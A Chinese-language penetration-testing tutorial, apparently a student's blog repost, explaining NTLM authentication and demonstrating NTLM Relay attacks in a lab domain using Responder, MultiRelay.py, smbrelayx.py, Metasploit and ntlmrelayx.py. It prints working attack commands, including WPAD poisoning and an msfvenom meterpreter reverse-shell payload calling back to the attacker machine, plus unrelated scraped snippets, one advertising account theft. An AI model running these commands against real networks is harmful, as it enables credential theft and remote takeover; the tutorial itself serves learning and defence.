内网渗透测试:NTLM Relay攻击分析

访客4年前黑客工具1337

在上一篇文章中《内网渗透研究:LLMNR和NetBIOS欺骗攻击分析》中,我们利用LLMNR/NetBIOS劫持成功获得了目标主机的Net-NTLM Hash。我们获得了Net-NTLM Hash后首先想到的就是爆破,但是除非你有一个强大的字典,否则你很难得到明文密码。由于Net-NTLM Hash不像NTLM-Hash,我们不能用Net-NTLM Hash来进行PTH攻击。那么还有什么办法来利用Net-NTLM Hash呢?我们不妨试一下NTLM Relay攻击。

基础知识

由于该Relay攻击要涉及到NTLM认证和Net-NTLM Hash,所以我们先来了解一下NTLM认证过程和什么是Net-NTLM Hash。

NTLM Hash:NTLM hash 就是里面加密保存了用户密码的 hash。Windows 中的用户密码被系统加密后保存在 SAM 文件中,如果是域环境则保存在域控的 NTDS.dit 中。

Net-NTLM Hash:Net-NTLM Hash 是基于用户密码的NTLM Hash计算出来的,用于在 *** 环境下 NTLM 认证的 hash。在下面的NTLM认证过程中你可以知道Net-NTLM Hash产生的过程。

NTLM认证过程

1. 当客户端需要访问服务器时,客户端需要输入服务器的用户名和密码进行验证,并且客户端会将服务器的NTLM-Hash值缓存。之后客户端开始向服务器发送 TYPE 1 Negotiate 协商消息。

?

2. 服务器收到客户端发送来的 TYPE 1 协商消息后,会取出其中自己能够接受的内容,传入NTLM SSP,得到 TYPE 2 挑战消息,此 TYPE 2消息中包含了一个由服务端生成的16位随机值,被称为 Challenge。服务器将此challenge保存一份后将TYPE 2消息发送回客户端。

?

3. 客户端收到服务器发来的TYPE 2消息后,读出其中的challenge值,用缓存的服务端密码的NTLM-Hash对其进行加密,并与用户名、challenge等一起组合得到 Net-NTLMHash ,最后将 Net-NTLMHash 封装到 TYPE 3 NTLM_AUTH消息中发往服务器。

?

4. 服务器在收到 TYPE 3 的消息之后,用自己密码的 NTLM-Hash 对 Challenge 进行加密,并比较自己计算出的 Net NTLM-Hash 认证消息和客户端发送的认证消息是否匹配。如果匹配,则证明客户端掌握了正确的密码,认证成功,否则认证失败。

如果是在域环境中,那么认证过程会经过域控制器:

4. 服务器接收到客户端发送来的 TYPE 3 消息后,取出其中的Net NTLM-Hash值,并向域控制器发送针对客户端的验证请求。该请求的内容包含:用户名、原始的 Challenge 和 加密后的Challenge(也就是Net NTLM-Hash)。

?

5. DC根据用户名取出该帐号的密码哈希值 NTLM-Hash,用密码哈希值 NTLM-Hash 对原始的Challenge进行加密得到Net NTLM-Hash。如果加密后的Challenge和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务器。

服务器根据DC返回的结果,对客户端进行回复

在这里,如果我们获得了NTLM-Hash,那么我们可以直接进行PTH攻击,但不能用来Relay;而如果我们获得了Net NTLM-Hash,那么我们可以对其进行爆力破解得到明文,也可以利用Net NTLM-Hash进行中继攻击。

NTLM中继攻击原理

NTLM hash 分为 NTLMv1 NTLMv2 NTLM session v2 三种,NTLMv2 的强度比 NTLMv1 强了不少 ,我们在实战中,如果获得的是NTLMv1的话直接对其进行爆破就行了,而现实情况中我们遇到的是 NTLMv2,NTLMv2的密码强度高了不少,因此如果你没有一个超级强大的字典,你很难得到明文密码。那么,如果爆破行不通的话我们不妨试一下NTLM Relay攻击。

在这个NTLM Relay中,我们就是要将截获的Net-NTLM Hash重放来进行攻击,从而实现对其他机器的控制,所以严格意义上应该叫作Net-NTLM Relay。

获得Net-NTLM Relay的思路

为了重放这个Net-NTLMhash,首先我们要做的就是获取这个Net-NTLMhash。

由于 *** B、HTTP、LDAP、MSSQL等协议都可以携带NTLM认证的三类消息,所以只要是使用 *** B、HTTP、LDAP、MSSQL等协议来进行NTLM认证的程序,都可以尝试向攻击者发送Net-NTLMhash从而让攻击者截获用户的Net-NTLMhash,也就是说我们可以通过这些协议来进行攻击。下面总结几个获取思路:

利用LLMNR和NetBIOS欺骗获得Net-NTLMHash

前文《内网渗透研究:LLMNR和NetBIOS欺骗攻击分析》中我们讲到Windows系统名称解析顺序为:

本地hosts文件(%windir%\System32\drivers\etc\hosts)

DNS缓存/DNS服务器

链路本地多播名称解析(LLMNR)和NetBIOS名称服务(N *** -NS)

也就是说,如果在缓存中没有找到名称,DNS名称服务器又请求失败时,Windows系统就会通过链路本地多播名称解析(LLMNR)和Net-BIOS名称服务(N *** -NS)在本地进行名称解析。这时,客户端就会将未经认证的UDP广播到 *** 中,询问它是否为本地系统的名称,由于该过程未被认证,并且广播到整个 *** ,从而允许 *** 上的任何机器响应并声称是目标机器。当用户输入不存在、包含错误或者DNS中没有的主机名时,通过工具(responder)监听LLMNR和NetBIOS广播,攻击者可以伪装成受害者要访问的目标机器,并从而让受害者交出相应的登陆凭证。核心过程与arp欺骗类似,我们可以让攻击者作中间人,截获到客户端的Net-NTLMHash。

(对于 *** B协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录,所以攻击者可以模拟 *** B服务器从而截获hash)

利用WPAD劫持获得Net-NTLMHash

WPAD *** *** 自动发现协议是一种客户端使用DCHP、DNS、LLMNR、NBNS协议来定位一个 *** 配置文件(PAC)URL的 *** 。WPAD通过让浏览器自动发现 *** 服务器,查找存放PAC 文件的主机来定位 *** 配置文件,下载编译并运行,最终自动使用 *** 访问 *** 。

一个典型的劫持方式是利用LLMNR/NBNS欺骗来让受害者从攻击者获取PAC文件,PAC文件指定攻击者就是 *** 服务器,然后攻击者就可以劫持受害者的HTTP流量,在其中插入任意HTML标签从而获得用户的Net-NTLMHash。

当你的浏览器设置为 “自动检测 *** 设置” 的情况下,它就会下载攻击者事先准备好的wpad.dat文件,这样一来,客户端的流量就会经过攻击者的机器。

Responder可以创建一个假WPAD服务器,并响应客户端的WPAD名称解析。 然后客户端请求这个假WPAD服务器的wpad.dat文件。

?responder -I eth0 -r on -v -F on -w on 

Responder创建一个身份验证屏幕,并要求客户输入他们在域中使用的用户名和密码。

此时,员工没有安全意识的话就会写入在域中使用的用户名和密码。 最后,我们可以看到他们的Net-NTLM Hash。

此外,我们还可以利用传统web漏洞,如XSS、文件包含等获取net-NTLM hash(传送门)。

还有就是metasploit中的会创建一个带有的word文件,当该文件被打开的时候kali就会收到NTLMv2 hash。

*** B Relay( *** B中继)攻击

这里我们演示 *** B协议的Relay攻击,这是最直接最有效的 *** 。可以直接控制该服务器(包括但不限于在远程服务器上执行命令、上传exe到远程主机上执行、dump 服务器的用户hash等等)。

这里主要有两种场景

详情见:https://www.anquanke.com/post/id/194069#h2-4

1.工作组环境

这个实用性比较差。在工作组环境里面,工作组中的机器之间相互没有信任关系,每台机器的账号密码Hash只是保存在自己的SAM文件中,这个时候Relay到别的机器,除非两台机器的账号密码一样(如果账号密码一样,我为啥不直接pth呢),不然没有别的意义了,这个时候的攻击手段就是将机器reflect回机子本身。因此微软在ms08-068中对 *** b reflect到 *** b 做了限制,防止了同一主机从 *** B协议向 *** B协议的Net-NTLMhash relay。这个补丁在CVE-2019-1384(Ghost Potato)被绕过。

自从MS08-068漏洞修复之后无法再将哈希值传回到发起请求的机器上,除非进行跨协议转发,但是该哈希值仍然可以通过中继转发给另外一台机器。利用Responder结合其他中继工具可以进行自动化的拦截并且对哈希值进行中继转发。唯一的一个不足之处就是,在这之前需要在进行转发操作的机器上禁用 *** B签名。但是除了个别的例外,所有的Windows操作系统都默认关闭了 *** B签名。

链接:https://www.jianshu.com/p/c7d8e7d9c03c

2.域环境

域环境底下域用户的账号密码Hash保存在域控的 ntds.dit里面。如下没有限制域用户登录到某台机子,那就可以将该域用户Relay到别人的机子,或者是拿到域控的请求,将域控Relay到普通的机子,比如域管运维所在的机子。(为啥不Relay到其他域控,因为域内就域控默认开启 *** b签名)

攻击演示

测试环境:

? ? ? ?攻击机kali:192.168.52.131

? ? ? ?windows 7:192.168.52.143

? ? ? ?windows server (DC):192.168.52.138

? ? ? ?windows 2003:192.168.52.141

Responder中的MultiRelayx.py

我们在进行中继之前,先用responder工具包里面的RunFinger.py脚本扫描域内机器的 *** B签名的开放情况:

image-20200722102745409

可以看到域内主机的 *** B 签名都已禁用(false)了,接下来开始利用MultiRelay.py攻击,获得目标主机的shell:

?python MultiRelay.py -t <被攻击ip> -u ALL

现在 *** B 已经由 MultiRelay.py 脚本来进行中继,我们需要修改一下responder的配置文件 Responder.conf,不让其对 hash 进行抓取。将 *** B和HTTP的On改为Off:

重启 Responder.py,准备毒化(这里responder的作用就是当访问一个不存在的共享路径,将名称解析降到LLMNR/NBNS时,来抓取 *** 中所有的LLMNR和NetBIOS请求并进行响应)

image-20200722103814932

此时我们在DC(192.168.52.138)上随便传递一个 *** B流量:

我们看到已经拿到了 192.168.52.143 的shell :

我们就可以对进行控制了:

Impacket中的 *** brelayx.py

攻击者伪造一个恶意的 *** B服务器,当内网中有机器Client1访问这个攻击者精心构造好的 *** B服务器时, *** brelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 *** brelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给 Client2 。

开始实战,用 *** brelayx.py 脚本来完成任务,用选项来在受害机192.168.52.143上面执行命令:

?https://www.freebuf.com/articles/network/ *** brelayx.py -h <Client2 IP> -c Command

此时我们让Client1访问这个攻击者精心构造好的 *** B服务器:

?net use \\192.168.52.131

此时,攻击者的 *** brelayx.py脚本上就会发现命令成功执行了:

在实战中,我们会提前生成了一个 Metasploit 的 payload 并放置在当前目录下,然后用选项在目标主机上传并运行我们的payload

先生成一个metasploit木马:

?msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.131 LPORT=4444 -e x86/shikata_ga_nai -f exe -o ~\shell.exe

设置好中监听:

这里要注意,我们要设置在成功得到session后自动迁移进程,如果没有自动迁移进程,那么在的时候,会话也随之关闭了。

然后执行 *** brelayx.py脚本:

随后在Windows server 2008上执行来访问攻击者搭建的恶意 *** b服务:

此时攻击者的 *** brelayx.py脚本上会有反应:

并且msfconsole上成功获得了192.168.52.143(windows 7)的会话:

Metasploit中的 *** b_relay模块(ms08-068)

执行运行

随后在windows 2003的cmd中执行来访问攻击者搭建的恶意 *** b服务:

这时,攻击者msfconsole中就可以看到windows 2003反弹来的会话了:

(注意:Metasploit的 *** BRelay只支持NTLMv1,所以在攻击一些机器时会出现“Failed to authenticate”的情况)

这个攻击手段就是将机器reflect回机子本身。然而微软在ms08-068中对 *** b reflect到 *** b 做了限制,防止了同一主机从 *** B协议向 *** B协议的Net-NTLMhash relay。这个补丁在CVE-2019-1384(Ghost Potato)被绕过。

Impcaket中的ntlmrelayx.py

ntlmrelayx.py 脚本可以直接用现有的 hash 去尝试重放指定的机器

?https://www.freebuf.com/articles/network/ntlmrelayx.py -t <指定的被攻击 IP> 

我们同样可以利用选项来在目标主机上面执行命令:

?https://www.freebuf.com/articles/network/ntlmrelayx.py -t  *** b://192.168.52.143 -c whoami - *** b2support

然后只要使用其他 *** 诱导域管理员或普通域用户访问攻击机搭建的伪造HTTP或 *** B服务,并输入用户名密码:

攻击者的ntlmrelayx.py上面即可显示成功在192.168.52.143上执行命令:

但在实战中,我们也可以利用选项来执行Empire生成的 powershell payload 并配合responder来进行攻击。

先用empire生成powershell的payload:

?ntlmrelayx.py -t 192.168.138.134 -c '生成的powershell脚本内容'

responder同样需要关闭 responder 的 *** b 和 http,然后启动:

随后在Windows 8上执行,产生任意 *** b流量

此时攻击者的ntlmrelayx.py脚本有了反应:

查看empire页面,已经成功获得了192.168.52.143的会话:

进入会话,可以执行命令:

Ending......

总之,这是一个拿域内主机的 *** ,在横向移动中利用还是挺不错的,可以直接控制域内主机,包括但不限于在远程服务器上执行命令、上传exe到远程主机上执行、dump 服务器的用户hash等等。

参考:

https://mp.weixin.qq.com/s/_qnt5NVEiud3OyQmGhkfUA

https://www.freebuf.com/column/202842.html

https://www.jianshu.com/p/c7d8e7d9c03c

https://www.anquanke.com/post/id/194069#h2-4

由于疫情,学校一直没开学,趁着时间不如好好跟着大佬们学学,文章大多是我学习的总结,因初来乍到,必有很多不足之处,还请各位前辈多多指教,小生还需多多向各位前辈学习。
个人博客:https://whoamianony.top/

相关文章

眼睛哭肿了怎么快速消肿?7个消肿的小妙招,超

眼睛哭肿了怎么快速消肿?7个消肿的小妙招,超

一场痛快淋漓的哭泣,可以排解你心中的压抑和委屈,但是必然会留给我们一个难题——眼睛肿,哭肿的眼睛该如何消肿?快看看下面介绍的方法吧! 哭泣是一种排毒现象,可以有效的改善情绪,然而当我们痛快淋漓的...

黑客找微信骗子具体地址-黑客查微信注册手机号(黑客能查到对方微信是真的吗)

黑客找微信骗子具体地址-黑客查微信注册手机号(黑客能查到对方微信是真的吗)

黑客找微信骗子具体地址相关问题 哪里可以找到微信黑客相关问题 走火黑客叫什么意思 银行不怕黑客吗(黑客盗取银行卡密码)...

好滋味麻辣烫加盟费及加盟条件,好滋味麻辣烫告诉大家

好滋味麻辣烫加盟费及加盟条件,好滋味麻辣烫告诉大家

因为现在挣钱创业非常困难,经济压力很大,很多人在生活条件一直处在得不到满足现状的状态,不论是哪个年龄段的人,都会想做高收入的工作,减少自己的生活压力。这种可能是因为自身得不到满足,都想用创业奋斗来充实...

小资本创业项目有哪些?这三大生意你不能不知!

很多人 都不太可能惦记着拿着那一份死薪水度日,惦记着拥有归属于自身的一番工作,可是一直考虑自身没有多少钱,缺乏创业资金,实际上,能够换一个方位,即然这一财政资金要求过高,那麼选一些小资产创业好项目不也...

微博盗号接单

1、新浪微博头条内容发布不需要钱,免费发布的;2、发布的内容可以别人可以通过赞赏等信息帮助发送红包给自己;3、新浪头条信息内容一般都是含有广告性质的内容。 该网站在您的网站内容网站的链格框架结构内看优...

上合组织秘书长分享实地考察见闻说:新疆百闻不如一见

【上合组织秘书长说新疆百闻不如一见】近日,上合组织秘书长分享实地考察新疆见闻。他表示,新疆经济一直在发展,棉花产业机械化采收率今年或将达85%,纺织工厂现代化程度很高,员工工资在发展中国家也处较高水平...